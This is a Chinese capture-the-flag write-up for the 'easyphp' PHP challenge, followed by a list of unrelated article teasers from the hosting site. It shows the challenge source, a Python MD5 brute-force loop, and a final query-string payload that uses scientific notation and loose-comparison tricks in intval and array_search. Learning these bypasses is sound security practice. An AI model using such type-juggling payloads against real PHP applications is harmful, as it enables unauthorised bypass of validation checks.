攻防世界-easyphp

news2024/7/6 18:19:05

题目

访问url进入靶场,阅读php代码

<?php
highlight_file(__FILE__);
$key1 = 0;//值赋值
$key2 = 0;

$a = $_GET['a'];//get方法获取值
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
//a的值需要大于 6000000,同时也需要长度小于3
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
//b的后六位md5值要等与8b184b
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
//c为数组,is_numeric是php内置函数判断是否为数字,题中不要数字,m键值要大于2022
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);//数组中找DGGJ,如果没找到DGGJ,die
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }//匹配n的一个键值若等于DGGJ直接die
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...

最核心的部分

既要search到 DGGJ 遍历时又不要DGGJ

这里用array_search函数的一个漏洞 待匹配的模式串里有0时会与字符串进行比较时,字符串也会转变为0,这样就算不出现DGGJ也可以返回1

参数a:使用科学技术法a=7e6

参数b:我直接抄的大佬的脚本b=53724

import hashlib
  
for i in range(100000): 
    m = hashlib.md5() 
    m.update(str(i).encode()) 
    h = m.hexdigest() 
    if h[-6:] == "8b184b": 
        print(i)
        break

参数c:

$c=(array)json_decode(@$_GET['c'])

C参数应该是一个json数据

if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

判断c为数组  , is_numeric php内置函数判断是否为数字,题中不要数字,m键值要大于2022php弱类型比较值为2023a即可

if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

n必须为数组,键值有两个,类似于[[*,*...],*]。

$d = array_search("DGGJ", $c["n"]); 

$d === false?die("no..."):NULL;

array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false

数组中找DGGJ,如果没找到DGGJ则死亡

foreach($c["n"] as $key=>$val){ 

$val==="DGGJ"?die("no......"):NULL;  } 

$key2 = 1;

在php中,三个等号“===”是全等比较运算符,用于比较两个操作数的值是否相等,同时检测它们的类型是否相同;只有两边的值和数据类型都相等时,运算结果才是TRUE

匹配n的一个键值若等于DGGJ直接die

不能存在DGGJ,但array_search()又要查找并且要有结果,矛盾,这里肯定要绕过,全等肯定无法绕过

查到array_search()的绕过

array_search()没有设置strict参数(如果该参数被设置为 TRUE,则函数在数组中搜索数据类型和值都一致的元素),我们就可以用0和DGGJ进行弱比较,0 == 'DGGJ'又0===='DGGJ'为false

即n的值中有0成功了写payload
c=
{"m":"2023a","n":[[],0]}

构造payload:?a=6e7&b=53724&c={"m":"2023a","n":[[],0]}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/100087.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python:如何使用正则表达式快速处理字符串

文章目录前言一、正则表达式1、元字符详解2、等价方法&#xff08;速记&#xff09;二、常用的表达式1、常用的正则表达式2、先行断言和后行断言三、Python匹配函数1、Match函数2、Search函数3、Findall函数四、regex101网站推荐前言 1、正则表达式是对字符串操作的一种逻辑公…

Android Studio使用Mob实现短信验证功能遇到的问题解决

一、Mob短信验证 全球领先的数据智能科技平台-MobTech袤博解决 进行注册登入 登入成功后&#xff0c;点击开发者服务中的短信验证&#xff0c;进入开发者平台 填好信息创建成功后显示下图&#xff0c;可以看到对应信息如下&#xff08;注意记住AppKey和AppSecretKey&#xff…

怎样让Odoo 16自动根据销售订单创建采购订单或生产订单

我们在销售产品时通常只处理销售过程&#xff0c;但是&#xff0c;在根据消费者的要求交付给消费者之前&#xff0c;产品会必须有库存。这时候&#xff0c;货物要么从车间「生产」&#xff0c;要么从供应商「采购」。当销售订单确认但商品缺货时&#xff0c;我们偶尔不得不先获…

vite.config.ts--服务器、简化导入写法、element-plues按需导入的配置

vite.config.ts--服务器、简化导入写法、element-plues按需导入的配置说明一、服务器server二、简化导入写法三、element-plus按需导入完说明 本教程适用于vite创建的前端项目服务器server简化导入写法element-plus按需导入 一、服务器server import { defineConfig } from …

MFC界面控件BCGControlBar v33.3 - 编辑控件功能升级

BCGControlBar库拥有500多个经过全面设计、测试和充分记录的MFC扩展类。 我们的组件可以轻松地集成到您的应用程序中&#xff0c;并为您节省数百个开发和调试时间。 BCGControlBar专业版和BCGSuite for MFC v33.3已正式发布了&#xff0c;该版本包含了增强的Ribbon自定义、新的…

[附源码]计算机毕业设计Python点餐系统(程序+源码+LW文档)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

智能座舱进入多元化交互时代,本土芯片厂商如何领跑?

“智能座舱市场正在进入一个全新的发展阶段。”芯驰科技资深产品市场总监金辉在2022高工智能汽车年会上表示&#xff0c;智能座舱已经进入了多屏互动、多模交互、多人交互等多元化交互时代。 芯驰科技资深产品市场总监金辉 作为未来的“第三生活空间”以及主机厂差异化竞争的焦…

【问答篇】Java 线程篇 面试题(一)

每天进步一点~ (ps: 文章内容及图片出处来自本人公众号~) 01、问&#xff1a;请谈谈你对并发编程优缺点的认识与理解 ~ 答&#xff1a; 优点&#xff1a;充分利用多核CPU的计算能力&#xff0c;通过并发编程的形式将多核CPU的计算能力发挥到极致&#xff0c;性能得到提升。 …

【Java编程】MVC框架和经典三层结构

MVC框架和经典三层结构1.MVC框架 JSP&#xff0c;全称 Java Server Pages&#xff0c;中文名是 Java 服务器页面&#xff0c;其实是一种以 Java 为主的跨平台 Web 开发语言。JSP 文件由传统网页 HTML 文件插入 Java 程序段所形成&#xff0c;实现了 HTML 语法的 Java 扩张。在…

一篇文章了解 Apache Druid

前言 本文隶属于专栏《大数据技术体系》&#xff0c;该专栏为笔者原创&#xff0c;引用请注明来源&#xff0c;不足和错误之处请在评论区帮忙指出&#xff0c;谢谢&#xff01; 本专栏目录结构和参考文献请见大数据技术体系 概述 Apache Druid 是一个实时分析型数据库&#xf…

图文结合带你搞懂MySQL日志之Error Log(错误日志)

GreatSQL社区原创内容未经授权不得随意使用&#xff0c;转载请联系小编并注明来源。GreatSQL是MySQL的国产分支版本&#xff0c;使用上与MySQL一致。作者&#xff1a;KAiTO文章来源&#xff1a;社区原创 往期回顾&#xff1a; 图文结合带你搞懂MySQL日志之Redo Log(重做日志)…

[附源码]计算机毕业设计Python的云网盘设计(程序+源码+LW文档)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

极智AI | 谈谈昇腾CANN量化

欢迎关注我的公众号 [极智视界]&#xff0c;获取我的更多笔记分享 大家好&#xff0c;我是极智视界&#xff0c;本文介绍一下 谈谈昇腾CANN量化。 昇腾CANN的量化体现在AMCT工具&#xff0c;也即模型压缩工具&#xff0c;后面再来说AMCT&#xff0c;这篇先聊一下昇腾CANN的量…

SpringBoot学习小结之滑块验证码生成库tianai-captcha

文章目录前言一、后端springboot1.1 yml 配置1.2 跨域配置1.3 资源配置1.4 Controller二、前端jquery2.1 通用代码2.2 滑动验证码2.3 旋转验证码2.4 滑动还原验证码2.5 文字点选验证码三、源码探秘和总结3.1 前端代码3.2 后端代码3.3 总结参考前言 最近发现一个有趣的 Java 验…

Java根据ip地址获取归属地

最近&#xff0c;各大平台都新增了评论区显示发言者ip归属地的功能&#xff0c;例如哔哩哔哩&#xff0c;微博&#xff0c;知乎等等。 下面&#xff0c;我就来讲讲&#xff0c;Java 中是如何获取 IP 属地的&#xff0c;主要分为以下几步 通过 HttpServletRequest 对象&#xf…

JVM监控及诊断工具-GUI

1. 工具概述 使用上一章命令行工具或组合能帮您获取目标Java应用性能相关的基础信息&#xff0c;但它们存在下列局限: 1)无法获取方法级别的分析数据&#xff0c;如方法间的调用关系、各方法的调用次数和调用时间 等&#xff08;这对定位应用性能瓶颈至关重要&#xff09;。 2…

【MybatisPlus】最全面的MybatisPlus通关教程

前言 本文为最全面的MybatisPlus通关教程相关介绍&#xff0c;下边将对MyBatisPlus概述&#xff0c;MyBatisPlus快速入门&#xff0c;CRUD扩展&#xff08;包括&#xff1a;插入操作、主键生成策略、更新操作&#xff0c;自动填充&#xff0c;乐观锁&#xff0c;查询操作&#…

我学python的那段日子(四)选择结构和循环结构

1.选择结构 总所周知&#xff0c;Java里面也有选择结构&#xff0c;分别是if单分支选择结构、if-else结构多重if结构和switch结构&#xff0c;同样的&#xff0c;Python里也有选择结构&#xff0c;分别是是if单分支选择结构、if-else结构多重if结构。 1.1 if选择结果 ​ if选…

Servlet生命周期和线程安全

✅作者简介&#xff1a;热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 &#x1f49e;当前专栏&#xff1a;JAVA开发者…

CANoe-是如何对ECU和网络进行测试的

CANoe工具是汽车仿真测试开发中使用最广泛的工具 Test Module/Test Unit 除了仿真模块和分析模块,CANoe还引入了另一个组件进行测试:Test Module(测试模块)和Test Unit(测试单元) test module调用的是capl脚本、.net脚本或xml文件,而test unit用的是vTESTstudio插件 实…